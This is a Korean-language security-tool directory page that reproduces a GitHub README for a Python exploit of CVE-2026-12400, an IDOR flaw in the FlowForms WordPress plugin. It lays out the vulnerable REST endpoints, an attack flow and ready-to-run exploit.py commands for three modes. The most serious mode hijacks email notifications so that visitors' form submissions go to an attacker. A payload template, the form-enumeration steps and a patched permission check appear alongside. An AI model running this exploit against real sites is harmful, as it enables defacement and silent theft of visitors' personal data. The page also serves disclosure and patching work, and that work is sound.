Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-12400-Exploit — CVE-2026-12400을 위한 Python 익스플로잇, FlowForms WordPress 플러그인의 IDOR 취약점으로, 인증된 기여자가 임의의 양식을 수정하고 이메일 알림을 가로챌 수 있습니다. | Kitploit
도구/GitHubGitHub/0x00phantom-hat/cve-2026-12400-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingPenetration TestingLearning & Education
GitHub0x00phantom-hat/cve-2026-12400-exploit

CVE-2026-12400-Exploit

CVE-2026-12400을 위한 Python 익스플로잇, FlowForms WordPress 플러그인의 IDOR 취약점으로, 인증된 기여자가 임의의 양식을 수정하고 이메일 알림을 가로챌 수 있습니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
11개월 전아직 검토되지 않음

CVE-2026-12400 — FlowForms IDOR: 승인되지 않은 양식 수정

인증된 (Contributor+) 사용자의 Insecure Direct Object Reference로 인한 FlowForms ≤ 1.1.1의 임의 양식 수정

취약점 개요

속성값
CVE IDCVE-2026-12400
CVSS Score4.3 — 중간
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWECWE-639 (사용자 제어 키를 통한 인증 우회)
ProductFlowForms — WordPress 대화형 양식 빌더 플러그인
Affected1.1.1을 포함한 모든 버전
Fixed In1.1.2에서 수정됨
ResearcherPhantom Hat

기술 분석

소스 코드 분석, 입력 흐름 추적, 패치 비교를 포함한 전체 화이트박스 사례 연구:

📄 CVE-2026-12400 사례 연구 — Medium

공격 표면

FlowForms는 flowforms/v1 네임스페이스 아래에 취약한 두 개의 REST API 엔드포인트를 노출합니다:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

두 엔드포인트 모두 URL 경로에서 사용자가 제어하는 {id}를 수락하고 대상 양식의 데이터(이름, 내용, 레이아웃, 리디렉션 URL, 이메일 알림 수신자)를 수정합니다.

근본 원인

두 취약한 라우트 등록은 동일한 결함이 있는 permission_callback을 공유합니다:

root@kitploit:~
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts는 Contributor가 보유한 권한입니다. {id} 매개변수는 요청 사용자의 소유권과 대조하여 확인되지 않으므로 인증된 모든 사용자가 사이트의 모든 양식 ID를 대상으로 삼을 수 있습니다.

공격 흐름

root@kitploit:~
공격자 (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Contributor로 인증
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) REST nonce 획득
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) 게시된 양식 열거
        │<─ HTTP 200 ───────────────────────│      (접근 가능한 모든 양식이 대상)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) 양식 이름/내용 덮어쓰기
        │       공격자 페이로드로 ─────>│       ← 소유권 확인 없음
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) 이메일 알림 탈취
        │       /settings ─────────────────>│       ← 공격자가 모든 향후 양식 제출을 수신
        │<─ { "success": true } ────────────│
        │                                   │
        │   3가지 공격 벡터 모두 확인됨  │  (5) 이름 ✔  내용 ✔  이메일 ✔

세 가지 공격 벡터

email 모드가 가장 중요합니다. 탈취 후, 피해자의 문의 양식에 대한 모든 제출물(방문자 개인정보, 메시지, 연락처 세부정보 포함)이 공격자가 제어하는 주소로 조용히 전달됩니다. 사이트 관리자는 변경 사항을 전혀 인지하지 못합니다.


익스플로잇 사용법

전제 조건

  • Python 3.8+
  • 대상 사이트에서 최소 Contributor 역할의 인증된 계정

설치

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

작동 모드

이름 수정

모든 양식의 이름을 공격자가 제어하는 내용으로 변경:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

내용 수정

양식 레이아웃, 화면, 리디렉션 URL, 배경 이미지 덮어쓰기:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

이메일 알림 탈취 (가장 큰 영향)

모든 향후 양식 제출 알림을 공격자가 제어하는 주소로 리디렉션:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

프록시 사용 (Burp Suite)

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

전체 플래그 참조

페이로드 사용자 정의

JSON 페이로드 템플릿(NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT)은 스크립트 상단에 정의되어 있습니다. 실행 전에 편집하여 공격 내용을 사용자 정의하세요 — 알림 이메일 주소, 리디렉션 URL, 배경 이미지, 양식 제목 등을 변경합니다.

root@kitploit:~
# Top of exploit.py

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← change this
                    ...
                }
            }
        }
    }
}""")

익스플로잇 워크플로우

익스플로잇은 세 가지 자동화된 단계를 수행합니다:

1단계 — 인증 공격자(Contributor)로 로그인하고 wp-admin/post-new.php에서 유효한 REST API nonce를 획득합니다.

2단계 — 양식 열거 지정된 ID 범위에 걸쳐 GET /flowform/{id}를 스캔합니다. HTTP 200을 반환하는 ID는 접근 가능한 대상으로 수집됩니다. 이는 관리자를 포함한 사이트의 모든 사용자에게 속한 게시된 양식입니다.

3단계 — 익스플로잇 선택된 모드에 따라 해당 페이로드를 보호되지 않은 REST 엔드포인트로 전송합니다:

  • name / content → POST /flowforms/v1/forms/{id}
  • email → POST /flowforms/v1/forms/{id}/settings

서버는 요청을 수락하고 소유권 확인 없이 수정을 적용합니다.


수정 방법

조치세부 사항
패치두 엔드포인트 모두에서 일반적인 edit_posts 확인을 current_user_can('edit_post', $form_id)로 교체 — 특정 게시물 객체에 권한 확인을 바인딩하여 WordPress 소유권 규칙을 적용합니다
완화

안전한 구현

root@kitploit:~
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),

// SECURE (patched)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

참고 자료

  • CWE-639 — 사용자 제어 키를 통한 인증 우회
  • register_rest_route() — WordPress 개발자 문서
  • current_user_can() — WordPress 개발자 문서
  • FlowForms 플러그인 — WordPress.org

프로젝트 구조

root@kitploit:~
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # Polished exploit with rich UI (3 modes)
├── requirements.txt            # Python dependencies
└── README.md                   # This file

면책 조항

이 도구는 승인된 보안 테스트 및 교육 연구 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 전 세계 관련 법률에 따라 불법입니다. 저자는 이 소프트웨어의 오용에 대한 책임을 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.


저자

Phantom Hat — 독립 보안 연구원

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

이 연구는 책임 있는 취약점 공개의 일환으로 수행되었습니다.

도구 다운로드
모드엔드포인트영향
name/forms/{id}모든 양식 이름 변경 — 훼손, 사회공학
content/forms/{id}레이아웃, 환영/감사 화면, 리디렉션 URL 덮어쓰기
email/forms/{id}/settings알림 이메일 탈취 — 모든 양식 제출을 조용히 수신
플래그약어설명필수
--url-u대상 WordPress URL✅
--userWordPress 사용자 이름 (Contributor+)✅
--passwordWordPress 비밀번호✅
--id-start-i열거 시작 양식 ID✅
--num-forms-n열거할 양식 ID 개수✅
--exploit공격 모드: name / content / email✅
--proxy-p프록시 URL (예: http://127.0.0.1:8080)❌
패치가 적용될 때까지 플러그인이 활성화된 경우 Contributor 및 Author 역할을 제한하십시오